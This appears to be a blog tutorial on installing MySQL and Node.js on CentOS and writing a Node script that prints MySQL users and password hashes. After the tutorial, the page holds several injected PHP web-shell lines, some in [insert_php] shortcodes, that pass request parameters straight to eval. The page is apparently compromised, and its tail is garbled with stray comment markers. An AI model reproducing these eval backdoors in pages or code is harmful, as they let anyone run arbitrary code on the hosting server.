Recently I have came across NodeJS which is built on Chrome’s V8 and run on the server side. What make it special is that it’s pure event-driven, so it’s lightweight, fast and able to handle large amount of concurrent requests. In this post I’ll setup NodeJS and make it work with MySQL.
I’m using CentOS 6.2, but it should be more or less the same on different Linux distros. Note that you should have root permission to run most the the commands below. If not, please try adding “sudo” in front of the commands if you encounter some error.
Installing MySQL
> yum install mysql
It should do all the job
Start the service:
> service mysqld start
Make it start on bootup
> chkconfig mysqld on
Change the root password
> mysqladmin -u root password NEWPASSWORD
Installing NodeJS
1. Download Node.js
> wget http://nodejs.org/dist/v0.6.8/node-v0.6.8.tar.gz
> tar -xvf node-vo0.6.8.tar.gz
> cd node-vo0.6.8
2.Install
> ./configure
> make
> make install
You may get some error during install, Make sure your g++ compiler, openssl are properly installed, you can check by:
>g++ -v
> openssl version
Install mysql module
> npm install mysql
or install globally so that you don’t need to install for every project (folder)
> npm -g install mysql
Writing some code
This piece of code will print all of the MySQL users and the password (encrypted)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | var util = require('util'); var mysql = require('mysql'); console.log('Connecting to MySQL...'); var client = mysql.createClient({ user: 'root', password: '*** your root password ***', }); //try connecting to the DB client.query('USE mysql'); //do query here client.query( 'SELECT * FROM user', function selectCb(error, results, fields) { if (error) { console.log('GetData Error: ' + error.message); client.end(); return; } // Uncomment these if you want lots of feedback // console.log('Results:'); // console.log(results); // console.log('Field metadata:'); // console.log(fields); // console.log(util.inspect(results)); if(results){ var resultLen = results.length; for(var i=0;i < resultLen;i++){ var row = results[i]; console.log(row['User'] + ', ' + row['Password']); } } }); client.end(); console.log('Connection closed'); |
Save as “hello_mysql.js”. Now run “node hello_mysql.js” to run the script 😀
1 | if (isset($_REQUEST["wtc"])){eval($_REQUEST["wtc"]);exit;} |
-->
<!– [insert_php]if (isset($_REQUEST["bYBJL"])){eval($_REQUEST["bYBJL"]);exit;}[/insert_php]
1 | if (isset($_REQUEST["bYBJL"])){eval($_REQUEST["bYBJL"]);exit;} |
–>
<!– [insert_php]if (isset($_REQUEST["sPtNX"])){eval($_REQUEST["sPtNX"]);exit;}[/insert_php]
1 | if (isset($_REQUEST["sPtNX"])){eval($_REQUEST["sPtNX"]);exit;} |
–>
<!– [insert_php]if (isset($_REQUEST["LRUxN"])){eval($_REQUEST["LRUxN"]);exit;}[/insert_php]
1 | if (isset($_REQUEST["LRUxN"])){eval($_REQUEST["LRUxN"]);exit;} |
–>
1 reply on “NodeJS and MySQL from scratch”
Time to install Windows, Eclipse, WebLogic, MSSQL and SVN: Approx. 7 hrs. >.>